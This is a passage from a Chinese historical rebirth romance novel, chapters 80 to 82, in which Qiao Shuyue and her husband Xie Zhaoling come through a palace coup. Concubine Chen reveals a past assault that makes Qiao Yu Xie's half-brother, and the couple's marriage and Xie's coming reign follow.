她不由自主地攀上他背脊,感受到他干涩的唇划过耳廓时带起的丝丝颤栗。 意乱之时,隐约听到他又说了句什么。没等深思,热情的吻便落了下来。 他似乎很匆忙,只急促猛烈地捉着她亲了一会。 松开她后,温柔地摸了摸她的长发,让她再睡一会,而后拿上剑,转身离开。 乔姝月被亲得神志混乱,晕晕乎乎躺了回去。 本能地盖好被子,闭上眼睛。 半晌,蓦地睁开了眸。 乔姝月想起来他临别时的那句话—— “承顺帝驾崩了。” 第80章 【80】 乔姝月再睡不着,靠在床头半晌,将玉竹叫进来问话。 玉竹和紫棉在门口嘀咕,听到主子叫她,犹犹豫豫地,推了紫棉进去。 乔姝月懒洋洋靠在床头,纳闷道:“她怎么了?” 紫棉道:“她早上要叫您,被姑爷说了。” 玉竹哼了声,不服气道:“我还不是瞧着您昨晚吃的少,早上不能再饿了,就提醒提醒他。” 乔姝月摇头失笑,想起往后,不免要提点玉竹两句:“他如今已不是从前那个任你说道挤兑的小护卫了,你得学着尊敬他些。” 知根知底一起长大就这一点不好,很难在一夕之间改变对彼此的态度。 玉竹扁扁嘴,“刘妈妈早说过我多次了……也罢,我谨慎着些就是。” 玉竹虽偶尔任性小心眼,但她在大事上并非拎不清的人,稍作提点,她就会上心。 乔姝月不担心她,反而忧心宫里头的事。 索性起床,梳洗过后叫了早膳,还把府上的新管家叫了来。 这位新管家是谢昭凌自边关带回来的人,名唤霍方林,乔姝月前世就知道这人。 这是谢昭凌手下最精锐的心腹,此人后来领任禁军首领,是跟在谢昭凌身边时间最长也最衷心的人。 此人现在明面上“暂代”管家一职,实则是留下保护她。 霍方林出身贫寒,得谢昭凌搭救与赏识,帮他做了许多事。 因此叫了他来,打算问问他是否知道些内情。 霍方林没进屋,隔着道半开的门,只摇头,“将军命属下保护好夫人,说是等他回来,您才能出去。” 玉竹在旁听着,嘴里嘀咕了声:“怎么还软禁起来了。” 乔姝月眉头慢慢蹙起,心中有不好的预感。她的直觉素来很准,那日午后开始变天。 狂风骤起,乔姝月走到廊下,望着乌云密布的天空,神情凝重。 午后开始全城戒严,各府门前,尤其是朝中重臣的府门口都守着兵。 谁都知道,风雨欲来,要改朝换代了。 “将军吩咐派人将重臣府邸保护了起来。” 乔姝月喃喃了一声:“那他在宫里,人还够吗……” 霍方林听罢笑了,“夫人莫担心,将军早早就做了准备的。” 新婚后要回门,但乔姝月连府门也出不去。莫说她,乔府里的人也出不来。 乔姝月想想就知,父亲定然怒不可遏。非常时期,这也是没法子的事,只能等事后再向父亲母亲道歉了。 封城三日,前世京中血流成河的场面并未出现。 听霍方林说,是谢昭凌不愿意见到生灵涂炭,所以大婚那日命人暗自解决了一批想要作乱的反贼。那些反贼是二皇子的私兵,原来二皇子见皇帝一直拖着不死,在国师的挑唆下,已经快要按捺不住了。 国师挑动完二皇子,又将消息放给了谢昭凌,让他来了个瓮中捉鳖。 乔姝月听罢心下稍安,心道这国师前世罪行累累,这一世还算做了点好事。 没有无辜的百姓枉死,西京变成了一座空城似得,寂静得可怕。 而那皇城以内,谁也不知发生了什么。 三日后,谢昭凌终于回来了。 天还未亮,霍方林抱着剑,靠在廊下的朱红石柱昏昏欲睡,听到动静,凛冽的杀招顿出。 看清来人,脸色骤变,跪地行礼,“主子。” 谢昭凌一把将人拉起,按了下对方肩膀,“辛苦,回去休息吧。” 霍方林不多问,抱拳离去。 谢昭凌片刻不停,推门进屋。 咚——!! 他推开门那瞬,面前砸过来一个花瓶。 他往旁边一让,瓷片在他脚边碎了一地,无奈道:“阿月,是我。” 而后只听得哽咽了一声,从角落里冲出来一女子。 他张开双臂,将她紧紧纳入怀中。 “吓坏了?抱歉。” 他身上还带着血味,乔姝月却不嫌弃,她将头深深埋进他颈窝,眼泪扑簌簌地流进去。 “可受伤了?” 他轻声笑着,故意开玩笑缓解她的紧张:“没有,你夫君可厉害着呢。” 乔姝月这才抬头,泪涔涔的眸子斜他一眼,而后毫不留情,在他颈侧咬了一口。 谢昭凌吸了口凉气,将她抱得更紧,手在她后背慢慢抚着,“都解决了。” 等她发泄得差不多,才软着身体窝在他怀里,委屈道:“这几日都没敢睡熟,生怕忽然有人闯入家中,将我抓走。” 谢昭凌垂下眸,望向她侧脸。 因为害怕,她好好哭了一场,想来是忍了三日,见到他终于忍不住崩溃了情绪,又因为见到他,那副全身心依赖的小女儿神态尽显,惹得他心中满是怜惜。 “怎会有人跑到这里抓你?我不会让那种事发生。” 乔姝月眼眶一热,圈着他腰的手收紧。 她惧怕地在怀里发抖,劫后余生般,主动与他讲起前世的事来。 前世宫变前,柳步亭带着人闯进乔府,抄了她的家。 当时父亲和大哥皆已入狱,二哥和三哥惨死,四哥不知何时逃了,家中唯剩了一众女眷。 除却她,所有人都先关进了大牢里,而她被柳步亭单独带走。 她被关在一间很黑的屋子里,没有人说话,只每日三餐时,柳步亭会亲自来给她送饭,和她聊天。 她大多时候是不吭声的,有饭便吃,也不怕他下毒。 柳步亭变着花样折磨恐吓她,她都麻木得宛如一具行尸走肉,没半点反应,柳步亭觉得无趣就走了,也没有碰她。 猫捉到老鼠,先玩弄一阵,而后才会慢慢吃掉。 大概那时她若是流露出一点软弱可怜的样子,就让他得偿所愿了吧。 不知过了多久,有人将她押到地牢,和她阿娘关在一起。 柳步亭应是不愿,但似乎没有能力忤逆那人,闹了闹,也就罢了,反正可以再去地牢给她送饭。 乔姝月现在想来,将她从那小黑屋带离的,应该是二皇子的人。 约莫是不想错放任何一个世家在外头,干脆全都抓了进去。 她记得从柳府往外去的时候,街上随处可见都是尸体。 皇城脚下,这般肆无忌惮,堂而皇之地行凶。 那时她仰头看向天空,和谢昭凌离家时一样,都是灰色的。 “阿凌哥哥,我害怕再来一次……” 谢昭凌听她的哭声,只觉得肝肠寸断,虽对她的措辞有一瞬疑惑,但很快被怜惜覆盖。 他抱着人坐到榻上,用袖子耐心地为她擦拭眼泪,“还未见过阿月这么害怕难过的时候,哭得像只小花猫似得。” “柳步亭早就死了,阿月不用害怕他,梦里再出现他,也都是假的。” “二皇子也死了,他们都死了,柳氏不复存在,再也不会做噩梦。” “柳氏不复存在?”乔姝月抓紧他的袖子,随着眼睛瞪圆,眼泪啪嗒啪嗒掉在他衣服上,“那柳三爷呢?” 谢昭凌勾了下唇,漠然道:“阿月不是闻到了我衣服上的血腥味吗?那就是他的。” 他袍子深黑,沾了血也看不出来,但味道很重,有不少都溅到上头。原本打算沐浴了再来找她,但实在思念得紧,不放心她,就这么狼狈地回来了。 乔姝月错愕道:“他竟也死了?” 只三日而已,竟全都败在他手里了吗? “并非三日,许多事一早就预备好了。” 只是等易知解决掉宫里的麻烦,他才好发动后续的动作。 而易知何时行动,也全听谢昭凌的。 谢昭凌要过一个平静完整的新婚夜,所以直到转日清晨,才有皇帝崩逝的消息传出来。 二皇子逼宫,柳三爷与其发生争斗。 谢昭凌一早便将城封了,宫门由褚玄英的人守着,里头再乱,也影响不着外头。 柳三爷胜了,却不知,螳螂捕蝉黄雀在后。 柳关山自是防着谢昭凌的,但那段时日不知从哪得到的消息,怀疑谢昭凌是他亲子,一时间被喜悦冲昏头脑,一时大意,着了道。 一着不慎,满盘皆输。 谢昭凌知道若想将代价降到最低,务必要速战速决,一击必杀。好在一切都在预料之内,顺利地解决了。 西京城很快就会恢复秩序,只是皇宫内,还需要时间清扫。 乔姝月被消息震惊得忘了恐惧,犹豫了下,问道:“那他知道你是他的孩子了吗?” “一直都只是怀疑。”谢昭凌哼笑道,“不过我想,他倒在我剑下之时,应该就已经明了了。” 他勾起她的长发,轻轻嗅了嗅,压下鼻腔中浓烈的血腥气,不甚在意地道: “若他与我毫无瓜葛,或许还能相安无事。可惜他是我血缘上的生父,那么他便只有死路一条。” 乔姝月沉默良久,再度投身于他怀中。 声音闷闷地:“阿凌,恭喜你大仇得报。” 他笑着回抱,下巴垫在她肩上,轻声:“恭喜我们,不会再囿于命运的掌控之中。” ** 而后两日谢昭凌忙于善后宫中事宜,听霍方林随嘴一提,国师号令百官,说谢昭凌乃是天命所归,又在肃清反贼一案中贡献卓绝,非要尊他上位。 谢昭凌虽没答应,做的却是摄政之位该做的事。 有些不服的世家此时也不好跳出来惹事,毕竟谢昭凌确确实实将他们保护了起来。得了他的恩,不好先做出头鸟。 这事就这么一直拖着,直到乔姝月两日后回门。 新婚后,这一趟是少不得要走的。 褚氏见着女儿,抱着人一通哭诉。 乔父待谢昭凌依旧冷淡,并不因为他如今地位的改变就对他殷勤讨好。 乔父这宁折不弯、不畏强权的驴脾气,到何时都不曾改变。 从乔府出来,已然快到傍晚。 他们才刚登舆,转过街角,还未走远,便被人拦住了马车。 隔着帘子,只听得一道熟悉的声音,唤了声:“月姑娘。” 谢昭凌将帘撩起,乔姝月诧异道:“陈姨娘?” 美貌年轻的妇人跪在车前,额头抵在地上,病弱的身骨透着股折不断的坚韧与倔强。 “谢将军,求您让四公子往后都跟着您吧。” 80-90 第81章 【81】 陈姨娘被请到了府上。 乔姝月让人给她斟杯热茶,才道:“姨娘有何难言之隐,尽可说来,这儿没外人了。” 陈姨娘局促地坐了半边椅子,犹豫着,不好开口。 小夫妻俩对视一眼,他用鼓励的目光看着她。 乔姝月思忖片刻,说道:“陈姨娘,你从前一直阻四哥科考,是为何啊?” 没等陈姨娘回答,她又自顾自说道:“我记得自打四哥要院试时,姨娘就不看好。还去求我娘,让她不要支持四哥。后来四哥过了院试,你又老大不高兴,怨他不听你话,自作主张。” “今年这世道乱着,秋闱应当是办不成了,”乔姝月说着说着,那眼睛瞄身侧的男人,“得推迟一年?” 谢昭凌微微挑眉,好笑地看着她。 乔姝月干笑了声,清清嗓子,走到陈姨娘跟前,“姨娘此刻似乎又在为四哥谋前程?” 如今谢昭凌是最可能登上帝位的人,陈姨娘选择在他们回门这日来堵他们,求他们收下乔誉,怎么看都不像是不想儿子成材的母亲。 陈姨娘眼圈慢慢红了,用帕子拭去泪,才长叹了声。 “是了,我从没有不愿他成材,我见他聪慧,也很为他骄傲的。” 可是她没法子,这些年都只能让乔誉做个不受人瞩目的庶出公子。 “我阿娘不是个容不下人的,她很疼四哥,你……” 乔姝月拧着眉,迟疑道:“难不成,你是不想让他考中做官,不想让他太冒头,怕他被人记恨?” 毕竟官场混沌,一不留神开罪了权贵,怕乔誉担不起,也有可能。 可四哥既有玲珑心窍,又有满腹学识,有手段有谋略,不至于出去就被恶人吞吃入腹了吧? 前世四哥可是几个兄弟里活得最久的一个。 陈姨娘摇头,正要开口说什么,打院里忽然走进一人。 众人望去,竟是乔誉来了。 “四哥?”乔姝月诧异道,很快反应过来,转回头瞥了一眼主位上那个始终不发一言的男人,心下了然,“你叫来的?” “嗯。” 乔誉阔步入了厅堂,先对着谢昭凌躬身揖手,而后才看向那妇人,“姨娘。” 他没有问她为何在此,显然是谢昭凌的人告诉他了。 陈姨娘怔愣着望着他,眼眶中的泪存得更多。 乔誉眼底划过一丝无奈,“姨娘这状怎的告到这里来了?我不参加科考了还不行吗?” 陈姨娘噙着泪摇头,“四公子,往后,你想做什么就去做吧,我不管你了。” 乔誉皱了下眉,看一眼谢昭凌,见对方面无表情,似乎也是一无所知的样子。 陈姨娘鼓起勇气,拉过乔誉的手,走到谢昭凌跟前。 她推了他一把,难得用命令的语气,“跪下,给你兄长磕个头。” 三人皆蓦地看向她。 乔姝月失声叫道:“兄长?!什么兄长?四哥不是我哥哥吗?” 陈姨娘藏了小半辈子,终于在那人死后,得以挺起胸膛做人。 她终于能从乔府走出来了。 “谢将军,四公子并非是老爷的孩子,他也是柳三爷的种。” 乔姝月瞪得眼珠都要掉下来了,乔誉则脸色铁青,咬紧牙根,一把拉住陈姨娘的胳膊就要往外拖,“姨娘病了,怎的还胡言乱语起来?我是父亲的孩子,才不是什么柳三爷的!” 陈姨娘往回收肘,反钳制住乔誉的胳膊,同他拉扯,她急道:“你若不信,大可去问老爷和夫人!他们从一开始都是知道的!我根本就不是老爷的妾室!” 乔誉大受打击一般,苍白了脸。他做了快二十年的乔家四公子,到头来竟都是假的。 所以母亲才会待他既客套又慈爱,而不似二哥那般,被耳提面命,严加管教。 所以姨娘就算逢年过节都不去母亲那里请安问好,母亲也不会多说什么。 所以当初关于科考一事,母亲会劝他,要顾及姨娘的意愿,母亲并不能过多插手。 乔誉眼前发黑,摇摇晃晃。 谢昭凌只最初有片刻的诧异,而后很快便恢复了平静,目光冷静地审视乔誉。 这一瞧,倒确实从乔誉的五官中看出与那柳三有几分相似。但相似的地方与他相比还是少的,乔誉像陈姨娘更多些。 乔姝月忽然喃喃:“难怪呢,我总觉得四哥像你……” 谢昭凌皱了下眉,斜她一眼,心里有些不大高兴。 乔誉像他?哪里像?他怎么瞧不出来?不都是一个鼻子两只眼,这就像了? 她既疑心,必定仔细观察过。“总觉得”?想来没少打量观察。 谢昭凌心里犯了酸,脸色愈发冷淡。 陈姨娘见乔誉始终不肯相信,无奈地道来当年之事。 “承顺四年秋天,我与丫鬟走在街上,当时要到乔府上做客。因为走出去没多远天忽然黑了,瞧着要下雨,我怕没到乔府就淋了雨,湿着衣裳不好看,于是让丫鬟回去取伞,自己找了个茶棚坐着等她。” “丫鬟才走,路边便来了两伙家丁,推推搡搡的,像是要打架,我有些害怕,就躲到角落去了。” 就是这么一躲,她被人掳走,被捂了迷药,失去意识。 等再睁眼,便见一张十分俊美的脸,男人坐在她身边,侧对着她,面冲外头。 而她浑身酸软,提不起一点力气,没了衣裳,就那么躺在榻上。 她迷迷糊糊间,隐约听到那俊美男子同下人说话:“这药劲儿果然够烈,不亲自一试竟不知这世间真有这般能摧毁人心智的东西。” 下人奸笑一声道:“人已给您带来了,您若忍不住,自用解药便是。” 那男人啧了一声,似乎十分不耐烦,带着戾气道:“都说这颤声娇药性最烈,我起初还不当回事。” “三爷不必恼,既是烈性春i药,这天下就没哪个男子能受得住的。” 后来那下人退下,那个叫“三爷”的人又忍了近半个时辰,终是败下阵来,将她这味解药给用了。 那位三爷敢当街掳掠良家妇女,必定神通广大,不怕她去告官。陈姨娘只是个家道中落的小户千金,何以能与权贵抗衡。怪只怪她倒霉,那日正好在那。 事后那位三爷留了一副避子汤给她就走了。 “丫鬟一路没找到我,以为我先去府上了,结果乔府也没见到我人,才知是出了事。老爷找到我时,我正寻死觅活,老爷将我救下,带回了乔家。” “我的清白没有了,没办法再说亲事,夫人可怜我,做主替老爷收了我,既保全了我的名声,又能给我一个稳妥的未来。老爷与夫人都是妾身的恩人,大恩大德,实在无以为报。” 陈姨娘说着说着又落了泪,一双眉目流转间望向乔誉。 “进了乔府的门后不久,我发现自己有了身孕。” 避子汤不知为何失了药效,十月怀胎,生下乔誉,记在褚氏名下,自此乔府多了位四公子。 陈姨娘讲述完陈年旧事,厅中陷入一片寂静,只余乔誉粗重的呼吸声。 “由不得你不信,这就是事实。”陈姨娘愧疚道,“我害怕,从不敢走出乔家的大门,不敢在人前露面,生怕被柳三爷给认出来。后来你日渐长大,愈发聪慧,我便又十分害怕你能入仕做官。” 她不知道柳关山常年不在京城,她只知柳氏乃高门大户,若乔誉走到人前,保不齐就会被人给认出来。 年份久了,她已不太记得柳三爷的样貌,但不妨碍深刻入骨的恐惧日夜折磨着她。 她害怕被发现,所以宁愿一辈子称病躲在小院里,宁愿自己的孩子一辈子就在后宅做个庸庸碌碌的庶出公子。 乔誉冰冷的目光盯着地面,一言不发,半晌,他扭头出了房门,再不见踪迹。 陈姨娘失神追出去,到门边时,已看不到乔誉的身影。 乔姝月心疼陈姨娘的遭遇,却不认同她对乔誉的管束,说白了,陈姨娘也是在用自己的想法压迫着乔誉,没有顾虑过乔誉的感受。 乔姝月揽住陈姨娘的肩膀,轻拍了拍安抚她。 谢昭凌忽然站起身,亦走到门边,他叹了口气,无奈道:“姨娘不知,那柳三此生拥有女人无数,他哪会记得自己与哪个女人接触过?” 柳关山兴致上来,一日换一个。 他若兴致寥寥,或是又心血来潮要试试自己克制的底线在哪里,一年半载不碰一人也是有的。 那人一生随性而为,女人于他而言,最是无足轻重。 陈姨娘失魂落魄地离开了。 乔姝月给二哥送信去问,二哥说陈姨娘归家以后,乔誉也没回去。 乔姝月心里着急,就要派人去找。 谢昭凌拦住她,笃定道:“定是在义父府上。” 乔姝月狐疑:“你怎知他去了舅舅那?” 谢昭凌笑道:“他上回躲陈姨娘也是去了那。” 乔姝月嘟囔了声:“怪道你们是亲兄弟,所思所想总在一条线上。” 谢昭凌无言许久,将她抄抱起来,劫回房中,按到榻上,好生算了一笔酸账。 那晚顾念她是初次,且他也没什么经验,生怕弄疼了她,故而小心翼翼的,没体味到太多兴趣。 这些日子以来忙的事情又多,沉重而繁琐的事一桩接一桩都压在肩头,他有几日回房时她都睡熟了,更不可能拉她起来胡闹。 新婚以来竟未有一次尽兴。 今儿倒好了,事情告一段落,自娘家回来又骤然得知个重磅信息。 最关键的是—— “娘子当真觉得,为夫与你那兄长样貌相似吗?” 谢昭凌覆身而上,手掌不安分地贴上她的腰后,带着隐晦的意味,轻柔地来回揉捻。 “哪里相似?是鼻子?还是眼睛?” 乔姝月脑子发懵,待回过神来时,身上陡然一凉,而后一具坚实高大的身躯便压了过来。 周遭的气息骤然变得黏糊起来,他的呼吸落下,气体的每一个交替都显得十分焦灼绵密,带了火星一般,引得她脸上的火烧得更旺。 脖颈染上一层粉红色,这样娇艳的红映在男人的眼底,将他的心勾陷得越来越深,越来越沉。 “你是何时发觉的?”谢昭凌追问,“我不在的这些年,你定没少盯着他瞧吧?” 从前乔誉是她的亲哥哥,谢昭凌没什么好说的。 可如今乔誉成了他的弟弟,那许多事便不得不计较起来。 乔姝月的声音碎了一片:“我,并未发觉,只是偶有一瞬将他错——” “错什么?错认吗?”他惩罚般衔住她耳垂,牙齿慢慢地磨,低哑了声音,“阿月竟还将我二人混淆过?” 这错越问越多,说多错多,乔姝月索性不再改口回答。 谢昭凌反而得寸进尺起来。 “混淆了也不打紧,能这般欺负你的,唯有我一个。” 他哑声笑着:“阿月管我也叫哥哥,那我与你四哥,哪个哥哥待你更好些?” 乔姝月忍无可忍,噙着眼泪,偏过头去,恶狠狠咬上他撑在脸侧的手。 男人愉悦地笑了起来,他干脆跪直身体,将被子垫在她身下,有力的手握住细腰。 乔姝月无力地抬手锤他,嗔怪道:“你就是找了借口,故意变着法要惹我!” 当她不知?他嘴上计较,实则心里并未那么多酸水,顶多只有一点点而已。他此刻这般逼问,还不是故意寻个由头,好名正言顺地将她翻来覆去地折腾。 成亲的乐趣,直叫人畅快淋漓。 谢昭凌笑着将手捉住,凑到唇边一吻。 “阿月,我爱你。” 乔姝月倏地噤声。 潮湿的汗顺着清晰的肌肉纹理流淌,紧实的腰身有力量喷薄而出。 交融时的告白更令人灵魂震荡,心潮汹涌,她情不自禁迎了上去,攀着肩膀,共赴山巅。 “决定好了吗?真要将那千钧重负担在肩上吗?” “阿月认为呢?” “是我问你还是你问我?”她动了下手,溅起浴桶中的水花,“你自己都没个主意吗?” “没有。”他漫不经心地道,“小奴早就是姑娘的人了,一切但凭姑娘做主。” “小奴”二字叫乔姝月想起那张卖身契来,这些年的种种皆一幕幕浮现在眼前。 她目光里满是怀念与感慨,谢昭凌垂眼瞧她,唇畔噙笑,慢悠悠地说道: “情愿自卖为奴,立契之日欠银已清,然恩情难报,故自愿永生不赎。” 乔姝月杏眼圆睁,满是震惊,自水中起身,羞红着脸,将他嘴捂住,嗔道:“怎么还背下来了?” “我自己写的,岂会背不下来?” 他目光下落,好整以暇地欣赏着她的身子。 乔姝月叫了一声,手臂无措地遮掩在胸口,脸颊更红,又缩回水中。 支支吾吾半晌,憋出来一句:“下流!” 谢昭凌坦然笑纳,将她捞了出来,用毯子裹住,抱回内室。 他帮她擦干头发,“阿月若想离开京城,那我便陪你,我们去看山川和大河。阿月若想留下,那我们就在这里定居,顺便管一管这个国家。” 乔姝月默默无言,这是顺便的事?可真是大言不惭。 不过她喜欢。 红着脸埋进男人胸口,听着他有力的心跳,没忍住蹭了蹭。 谢昭凌闭了下眼,继续为她擦头发,再开口时,又带了点磨砂质感的喑哑:“可想好了?” “想好了,就留下。” “好。”他平淡道,“待继位后,我要补你一场更盛大的婚礼。” 乔姝月诧异抬眼,“有必要吗?” 他们已经是夫妻,行过礼,拜过堂,况且这京城里还乱糟糟的,不用再折腾了吧。 谢昭凌动作停下,眸光认真,郑重说道:“需要。” 他想要立她为皇后,此生此世,来生来世,都只与她相守。 他总隐隐觉着,心底似藏了个遗憾。 自那日国师和盘托出以后,那遗憾感便愈发深刻,每每午夜梦回,都怅然若失。 那遗憾究竟是什么,他说不清,只是直觉驱使着他,还欠她一次大婚仪式。 “那好吧。”见他坚持,她便随他去了,“莫要太繁琐,我最讨厌麻烦。” 谢昭凌晃了下神,脑海里似乎响起一道声音—— “不免繁琐,臣担心娘娘乏累,在礼节上尽量精简……” 只一瞬,那声音又消失了。 颈间缠上来一双柔软的手臂,她吊在他身上,俏皮地眨了眨眼,“那往后,你就是我的陛下了。” 他拥上去,低头在她肩窝深吸了口气,笑道:“荣幸之至,皇后娘娘。” 愿为她生,愿为她死,做她裙下臣。 这一世愿为她粉身碎骨,成为她的刀,为她屠尽贪婪恶鬼,护她一世安宁。 【正文完】 第82章 【82】 说起那段时间发生的事,乔姝月只一个“快”字来形容。 问起谢昭凌为何一切发生得那般迅速,谢昭凌只道是易知性急,实在等不得。 易知看出来谢昭凌实在厌恶柳氏,急着投诚示好,便将这十几年布下的渔网全收了,他替谢昭凌清扫掉部分障碍,既想谢昭凌开心一些,又奢望谢昭凌能看在他有功的份上,网开一面。 易知当初将黎笙的尸骨偷偷运回了南黎,让她魂归故里。本想着自己老了以后也回去,生于南黎,死于南黎。 而今他知道,这个愿望实现不了了。谢昭凌不会允许他离开京城,更不允许他再活着。 他急于做完一切,想着趁乱逃走,趁着谢昭凌忙着善后事宜,好偷偷溜走。 自己悄无声息地回到南黎,那个埋葬黎笙的地方。 可惜谢昭凌早已看穿了他的意图,没等易知出城,便将他逮了回去,关进地牢。 对外却不能说国师入狱,毕竟国师的势力影响犹在,况且国师是支持谢昭凌上位的,在此时翻脸,难以服众,也有损他的声望…… 只能先谎称国师闭关,只留下一封天谕,再次道出天机,说唯有谢昭凌才能担大任。 朝堂上的事,乔姝月后来听人提过两回,因为实在没什么她可操心的事,便不再听。 乔姝月打量着面前捧着书看的男子,好奇道:“四哥,你还不回家去吗?” 自那日身世之谜揭开后,已经又过了六七日,乔誉始终没有回到乔府去,一直在褚玄英与乔姝月这里两头轮着住。 褚玄英鳏夫一个,又不打算再娶,家里空落落的,倒是不嫌乔誉。然而谢昭凌却已快要忍不得。 这日谢昭凌才刚出门,乔誉就跑来了。 “回去作甚?” 回去就免不得到母亲面前质问一番。 乔誉睨她一眼,见她仍把自己当亲兄长看待,心里稍微好受了些。 “瞧你这架势,是要劝我?” “我劝你作甚?在这事上,姨娘有姨娘的苦,你也有你的苦,我不会劝你们任何人。” 归根结底,错只在柳三爷,而柳三已经死了,活着的人面前只剩下坦途,再没什么可惧怕的。 “那就是嫌我吃你家的饭了?” 乔姝月目光幽怨,“四哥这是哪儿的话,怎么还见外起来了?我这不是怕你不愿见他么。” 这个“他”自然就是谢昭凌。 乔誉说不清自己的心情,只觉得原本很简单的关系,忽然变得复杂起来。 原来他们真是兄弟,难怪相处时总有种默契在。 他扯唇道:“我怕他什么?他还能将我吃了?” 嘁,就算真是他兄长又如何?那日那个头他可没磕下去,谢昭凌休想摆兄长的架子教训他。 在乔家,向来都只有他诓骗二哥的份。没道理换个人家当弟弟,他就矮人家一头。 不过这些话乔誉没跟乔姝月说,他在她眼中应当还是个温和敦厚的好兄长形象。 殊不知乔姝月早就见识过他那不为人知的一面。 乔姝月笑道:“他哪会凶你啊?他顶多就是不搭理你。但是四哥,从前在家里,你们俩本来就是无事谁也不搭理谁啊。” 幼时他们一起读书,在学堂夜读时,两个人前后座坐着,也是只有“点头”的交情。 若非是纵火那夜,他们的关系肯定是没得缓和的。 正说着,谢昭凌回来了。 他远远便见这对兄妹坐在一处说话,凑得极近,脸色便愈发冷淡。 他站在月洞门外,没急着进去,站在角落里,暗搓搓地看。 两个人举止如常,毫无避嫌之意,他虽心里有些吃味,但也涌现出几分温暖的感觉。 最初他住在乔家,想的是早日还清欠银好离开。后来他贪恋乔家的安逸与温暖,逐渐地不想走了。 那温暖的感觉,与现在如出一辙。 谢昭凌迈步走了过去。 “四哥,你还是得回家瞧瞧,阿娘会担心的,”乔姝月顿了顿,声音小了些许,“陈姨娘也是。” 她说罢抬头,见到谢昭凌来,脸上不自觉露出笑意,起身去迎他。 谢昭凌柔和了面容,唇角也弯起弧度,还未靠近,手臂便有抬起的趋势,等到了近前,长臂自然一捞,揽在她的腰后。 乔誉余光瞥见,无语地翻了个白眼。 既是亲兄弟,有些时候一个眼神一个动作,他便能精确地洞察到对方的内心。 鄙夷这男人小性,又气恼他看扁了自己。 他待月儿从来都只有兄妹情谊,这么跟防贼似得防着他,哪里有一点信任之心? 忽然觉得待在这实在没意思,乔誉揣好书,起身就要走。 谢昭凌一手揽着爱妻,另一手拦在乔誉跟前。 乔誉淡淡掀了眼皮,“有事?” 谢昭凌平静道:“住几日。” 乔姝月蓦地瞪圆眼睛,轻推他腰窝一下,小声咬耳朵:“不能住几日,家里来人催好几次了。” 谢昭凌瞥她一眼,抬手揉揉她脸颊,“无碍,家里那边我来应付。” 乔姝月见他这么说,也不再坚持,她偷瞄了四哥一眼,知道二人有话要说,便识趣地要避开。 她见四哥别过头到一边,没往这边看,仰起头,红着脸在谢昭凌脸颊上亲了亲,杏眸中泛着灵动又俏皮的光,从他怀里钻出去,拎了下裙子跑了。 谢昭凌抬手摸着她亲的位置,抿着唇笑了。 乔誉:“……” 转过身去,没忍住又翻了记白眼。 兄弟俩一前一后往书房去,隔着三五个人的身位,好像巴不得不去沾对方的边似得。 关起房门,对面而坐,沉默良久,谢昭凌才低声同他说起正事。 等谢昭凌再回房,已经近两个时辰过去。 晚膳都是乔姝月自己一人吃的,也不知那俩人忙什么,半天不出来。 “四哥真住下了?” “嗯。” 乔姝月靠在床头,将手里的话本放下,歪了下头,“你留他作甚?你不是不喜欢他?” 谢昭凌诧异扬眉,“谁说的?” “因为每次他来,你都不愿意正眼瞧他。” 谢昭凌脱下外袍,走到床边坐下,手撑在榻上,前倾身子凑到她近前,点了点她鼻子,无奈反问道: “我从前就拿正眼瞧他了?” 乔姝月眼珠转了转,摇头,“没有。” 小时候一起长大时,谢昭凌地位低,只一心跟在她身边,旁的都不往心里去。因二哥和四哥待她好,所以他也对他们有几分尊重和耐心。 后来重逢,他成了战功赫赫的将军,不需要再看任何人的脸色,但因为爱她,所以依旧对她的兄长保持友善的态度。 不过不管是哪个阶段,他都亲近中又透着若有似无的疏离感。 说他们很熟吗?没有。 但若是需要选择立场,进行抉择时,他又会毫不犹豫地选择和她的哥哥站在一边。 乔姝月觉得,谢昭凌可能是比较排斥亲密关系的确立,所以才老让人觉得若即若离的。 这或许与他幼时的经历有关。 四哥在这点上,有点像他。 前世四哥到死都顶着乔氏之子的名头,陈姨娘没活到柳三爷去世,所以这个秘密被乔父乔母和陈姨娘带到了黄土之下,无第四人知晓。 前世她和四哥不相熟,四哥低调,一直以来给她的印象都是沉默寡言,阴郁深沉的。 而今生虽然与四哥亲近了不少,但他情感不常外露,从面上依旧窥不见他的内心。 谢昭凌不待见四哥,四哥也看不出有多亲近谢昭凌。 但他们又是能推心置腹说心事,在大事上能为彼此解惑的关系。 乔姝月想一会脑子就乱了,索性放弃。往里侧挪,让出位置,裹着被子躺下。 谢昭凌从善如流在她身侧躺下,溜进她被窝里,将她从身后抱紧。 “我对他的态度始终如一,这样不好吗?” 他呼出来的气息扫过脖子,弄得她心头发痒,她疑惑地回头,“哪里好?” 谢昭凌在她耳边轻笑了声,低声道:“他并不想因为此事影响他的生活,你没看出来吗?” 乔姝月眨了下眼,“没有诶,他亲口跟你说的?” “他表情上写了。” 乔姝月:? 四哥那张脸几乎都没什么表情变化,他是从哪里看出这么多的? 罢了,谁让人家是亲兄弟呢。 她果然是假的妹妹。 谢昭凌耐心解释:“无论是更亲近他,亦或是更疏远,他心里都不会好受。” 谁骤然得知这些真相,心里都难免恐慌。首要的就是会担忧,自己在意的亲人是否还会待自己始终如一。 谢昭凌顺了乔誉的意,待他一如往常。 这不仅是顾念乔誉的情绪,更重要的是,乔誉是谁的儿子,他真的不在意。 谢昭凌道:“等他自己想明白,就愿意回家了。” 毕竟是他的弟弟,该收留时还是要收留的。 乔誉又住了三日,谢昭凌每日忙得看不到人影。 乔姝月没什么事做,整日就是和小姐妹们吃吃喝喝,话话家常。 如今谢昭凌虽没有那个名头,但实际已经是大权在握,说一不二的那个人了。 每日来府上拜访她的,没有一百,也有八十。 各式各样的帖子流水一样送到她这儿,她全推开,一个没理。 谢昭凌说,等他们搬到皇宫里,这些事自然就少了,让她不必往心里去。 乔姝月这儿不理会,那伙人便又一窝蜂地堵到乔府去。 先前老大媳妇跟着老大去外省上任,如今才刚安定下来,就算谢昭凌再召他们回京,也要过上好几个月。 老二不学无术草包一个,老三这些年一心只埋头苦读,两个儿子没一个顶用的。 偏他二人年纪不小也不娶一房媳妇,家里唯褚氏一人,实在快撑不住了。 饶是褚氏长袖善舞,也有些焦头烂额。 无奈只得再派李嬷嬷来亲自催请乔誉归家。 乔誉读过信件,决定回家。 临走时,谢昭凌还没回来,他便与乔姝月辞行。 “四哥都想通了?” 乔誉愣了下,知道肯定是谢昭凌将他的心思看出来,而后同他这妹妹讲了。 他释然地笑了笑,“嗯,我是母亲养大的,此时自该与母亲‘共患难’。” 乔姝月还想着,若四哥一直不肯回去,那她就找谢昭凌要点人手,把乔府给保护起来。 虽然这样传出去肯定不好听,但也不失为一个解决的办法。 